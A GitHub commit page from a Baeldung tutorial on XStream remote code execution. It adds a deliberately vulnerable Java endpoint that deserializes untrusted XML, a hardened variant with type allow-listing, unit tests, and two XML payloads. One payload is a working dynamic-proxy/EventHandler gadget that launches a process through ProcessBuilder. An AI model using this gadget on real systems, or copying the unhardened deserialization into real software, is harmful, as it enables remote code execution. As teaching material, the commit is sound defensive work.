Skip to content

Commit c5f32da

Browse files
authored
Merge pull request eugenp#7229 from gilday/bael-2121-xstream-rce
BAEL-2121 XStream RCE
2 parents 7ebf52f + 1ba4b23 commit c5f32da

File tree

9 files changed

+333
-2
lines changed

9 files changed

+333
-2
lines changed

xstream/pom.xml

Lines changed: 3 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -11,6 +11,7 @@
1111
<groupId>com.baeldung</groupId>
1212
<artifactId>parent-modules</artifactId>
1313
<version>1.0.0-SNAPSHOT</version>
14+
<relativePath>../pom.xml</relativePath>
1415
</parent>
1516

1617
<dependencies>
@@ -28,8 +29,8 @@
2829
</dependencies>
2930

3031
<properties>
31-
<xstream.version>1.4.9</xstream.version>
32+
<xstream.version>1.4.10</xstream.version>
3233
<jettison.version>1.3.8</jettison.version>
3334
</properties>
3435

35-
</project>
36+
</project>
Lines changed: 92 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,92 @@
1+
package com.baeldung.rce;
2+
3+
import com.sun.net.httpserver.HttpServer;
4+
import com.thoughtworks.xstream.XStream;
5+
import com.thoughtworks.xstream.security.NoTypePermission;
6+
import com.thoughtworks.xstream.security.NullPermission;
7+
import com.thoughtworks.xstream.security.PrimitiveTypePermission;
8+
9+
import java.io.IOException;
10+
import java.net.InetSocketAddress;
11+
import java.util.HashSet;
12+
import java.util.Set;
13+
14+
/**
15+
* Web application which is intentionally vulnerable to an XStream remote code
16+
* exploitation (RCE).
17+
*
18+
* <p>
19+
* This test application is meant to maintain a set of {@link Person} models. It
20+
* exposes a "/persons" endpoint which supports the following operations:
21+
*
22+
* <ol>
23+
* <li>{@code POST} XML for adding a new {@link Person} to the set
24+
* <li>{@code GET} for retrieving the set of {@link Person} models as XML
25+
* </ol>
26+
*
27+
* The {@code POST} handler is vulnerable to an RCE exploit.
28+
*/
29+
public final class App {
30+
31+
public static App createHardened(int port) {
32+
final XStream xstream = new XStream();
33+
xstream.addPermission(NoTypePermission.NONE);
34+
xstream.addPermission(NullPermission.NULL);
35+
xstream.addPermission(PrimitiveTypePermission.PRIMITIVES);
36+
xstream.allowTypes(new Class<?>[] { Person.class });
37+
return new App(port, xstream);
38+
}
39+
40+
public static App createVulnerable(int port) {
41+
return new App(port, new XStream());
42+
}
43+
44+
private final int port;
45+
private final Set<Person> persons;
46+
private final XStream xstream;
47+
private HttpServer server;
48+
49+
private App(int port, XStream xstream) {
50+
this.port = port;
51+
persons = new HashSet<>();
52+
// this app is vulnerable because XStream security is not configured
53+
this.xstream = xstream;
54+
this.xstream.alias("person", Person.class);
55+
}
56+
57+
void start() throws IOException {
58+
server = HttpServer.create(new InetSocketAddress("localhost", port), 0);
59+
server.createContext("/persons", exchange -> {
60+
switch (exchange.getRequestMethod()) {
61+
case "POST":
62+
final Person person = (Person) xstream.fromXML(exchange.getRequestBody());
63+
persons.add(person);
64+
exchange.sendResponseHeaders(201, 0);
65+
exchange.close();
66+
break;
67+
case "GET":
68+
exchange.sendResponseHeaders(200, 0);
69+
xstream.toXML(persons, exchange.getResponseBody());
70+
exchange.close();
71+
break;
72+
default:
73+
exchange.sendResponseHeaders(405, 0);
74+
exchange.close();
75+
}
76+
});
77+
server.start();
78+
}
79+
80+
void stop() {
81+
if (server != null) {
82+
server.stop(0);
83+
}
84+
}
85+
86+
int port() {
87+
if (server == null)
88+
throw new IllegalStateException("Server not started");
89+
return server.getAddress()
90+
.getPort();
91+
}
92+
}
Lines changed: 43 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,43 @@
1+
package com.baeldung.rce;
2+
3+
import java.util.Objects;
4+
5+
/** Person model */
6+
public final class Person {
7+
8+
private String first;
9+
private String last;
10+
11+
public String getFirst() {
12+
return first;
13+
}
14+
15+
public void setFirst(String first) {
16+
this.first = first;
17+
}
18+
19+
public String getLast() {
20+
return last;
21+
}
22+
23+
public void setLast(String last) {
24+
this.last = last;
25+
}
26+
27+
@Override
28+
public boolean equals(Object o) {
29+
if (this == o) {
30+
return true;
31+
}
32+
if (!(o instanceof Person)) {
33+
return false;
34+
}
35+
Person person = (Person) o;
36+
return Objects.equals(first, person.first) && Objects.equals(last, person.last);
37+
}
38+
39+
@Override
40+
public int hashCode() {
41+
return Objects.hash(first, last);
42+
}
43+
}
Lines changed: 65 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,65 @@
1+
package com.baeldung.rce;
2+
3+
import org.junit.After;
4+
import org.junit.Before;
5+
import org.junit.Test;
6+
7+
import java.io.IOException;
8+
import java.io.InputStream;
9+
import java.io.OutputStream;
10+
import java.net.HttpURLConnection;
11+
import java.net.SocketException;
12+
import java.net.URL;
13+
14+
import static org.junit.Assert.assertTrue;
15+
16+
/**
17+
* Unit test which demonstrates a remote code exploit against the {@link App}
18+
* server. Sends an XML request containing an attack payload to the {@code POST}
19+
* endpoint.
20+
*/
21+
public final class AppUnitTest {
22+
23+
private App app;
24+
25+
/** start a new web server */
26+
@Before
27+
public void before() throws IOException {
28+
app = App.createVulnerable(0);
29+
app.start();
30+
}
31+
32+
/** stop the web server */
33+
@After
34+
public void after() {
35+
if (app != null)
36+
app.stop();
37+
}
38+
39+
/**
40+
* Test passes when an {@link IOException} is thrown because this indicates that
41+
* the attacker caused the application to fail in some way. This does not
42+
* actually confirm that the exploit took place, because the RCE is a
43+
* side-effect that is difficult to observe.
44+
*/
45+
@Test(expected = SocketException.class)
46+
public void givenAppIsVulneable_whenExecuteRemoteCodeWhichThrowsException_thenThrowsException() throws IOException {
47+
// POST the attack.xml to the application's /persons endpoint
48+
final URL url = new URL("http://localhost:" + app.port() + "/persons");
49+
final HttpURLConnection connection = (HttpURLConnection) url.openConnection();
50+
connection.setRequestMethod("POST");
51+
connection.setDoOutput(true);
52+
connection.setUseCaches(false);
53+
connection.setRequestProperty("Content-Type", "application/xml");
54+
connection.connect();
55+
try (OutputStream os = connection.getOutputStream(); InputStream is = AppUnitTest.class.getResourceAsStream("/attack.xml")) {
56+
byte[] buffer = new byte[1024];
57+
while (is.read(buffer) > 0) {
58+
os.write(buffer);
59+
}
60+
}
61+
final int rc = connection.getResponseCode();
62+
connection.disconnect();
63+
assertTrue(rc >= 400);
64+
}
65+
}
Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,7 @@
1+
package com.baeldung.rce;
2+
3+
/**
4+
* Indicates a successful remote code execution attack has taken place.
5+
*/
6+
final class AttackExploitedException extends RuntimeException {
7+
}
Lines changed: 13 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,13 @@
1+
package com.baeldung.rce;
2+
3+
/**
4+
* Class which contains an action to throw {@link AttackExploitedException}.
5+
* This helper is used by {@link AppTest} to determine when the remote code
6+
* exploit has taken place.
7+
*/
8+
final class AttackExploitedExceptionThrower {
9+
10+
public void throwAttackExploitedException() {
11+
throw new AttackExploitedException();
12+
}
13+
}
Lines changed: 82 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,82 @@
1+
package com.baeldung.rce;
2+
3+
import com.thoughtworks.xstream.XStream;
4+
5+
import org.junit.Before;
6+
import org.junit.Test;
7+
8+
import java.util.Collections;
9+
import java.util.Map;
10+
11+
import static org.junit.Assert.assertEquals;
12+
13+
/**
14+
* Demonstrates XStream basics
15+
*/
16+
public final class XStreamBasicsUnitTest {
17+
18+
private XStream xstream;
19+
20+
@Before
21+
public void before() {
22+
xstream = new XStream();
23+
xstream.alias("person", Person.class);
24+
}
25+
26+
@Test
27+
public void whenWritePerson_thenWritesExpectedXml() {
28+
Person person = new Person();
29+
person.setFirst("John");
30+
person.setLast("Smith");
31+
32+
String xml = xstream.toXML(person);
33+
34+
// @formatter:off
35+
String expected = ""
36+
+ "<person>\n"
37+
+ " <first>John</first>\n"
38+
+ " <last>Smith</last>\n"
39+
+ "</person>";
40+
// @formatter:on
41+
assertEquals(expected, xml);
42+
43+
}
44+
45+
@Test
46+
public void whenReadXmlAsPerson_thenReturnsNewPerson() {
47+
// @formatter:off
48+
String xml = ""
49+
+ "<person>"
50+
+ " <first>John</first>"
51+
+ " <last>Smith</last>"
52+
+ "</person>";
53+
// @formatter:on
54+
55+
Person person = (Person) xstream.fromXML(xml);
56+
57+
Person expected = new Person();
58+
expected.setFirst("John");
59+
expected.setLast("Smith");
60+
assertEquals(person, expected);
61+
}
62+
63+
@Test
64+
public void givenXmlRepresentationOfMap_whenDeserialize_thenBuildsMap() {
65+
// @formatter:off
66+
String xml = ""
67+
+ "<map>"
68+
+ " <element>"
69+
+ " <string>foo</string>"
70+
+ " <int>10</int>"
71+
+ " </element>"
72+
+ "</map>";
73+
// @formatter:on
74+
@SuppressWarnings("unchecked")
75+
Map<String, Integer> actual = (Map<String, Integer>) xstream.fromXML(xml);
76+
77+
final Map<String, Integer> expected = Collections.singletonMap("foo", 10);
78+
79+
assertEquals(expected, actual);
80+
}
81+
82+
}
Lines changed: 12 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,12 @@
1+
<sorted-set>
2+
<string>foo</string>
3+
<dynamic-proxy>
4+
<interface>java.lang.Comparable</interface>
5+
<handler class="java.beans.EventHandler">
6+
<target
7+
class='com.baeldung.rce.AttackExploitedExceptionThrower'>
8+
</target>
9+
<action>throwAttackExploitedException</action>
10+
</handler>
11+
</dynamic-proxy>
12+
</sorted-set>
Lines changed: 16 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,16 @@
1+
<sorted-set>
2+
<string>foo</string>
3+
<dynamic-proxy>
4+
<interface>java.lang.Comparable</interface>
5+
<handler class="java.beans.EventHandler">
6+
<target
7+
class="java.lang.ProcessBuilder">
8+
<command>
9+
<string>open</string>
10+
<string>/Applications/Calculator.app</string>
11+
</command>
12+
</target>
13+
<action>start</action>
14+
</handler>
15+
</dynamic-proxy>
16+
</sorted-set>

0 commit comments

Comments
 (0)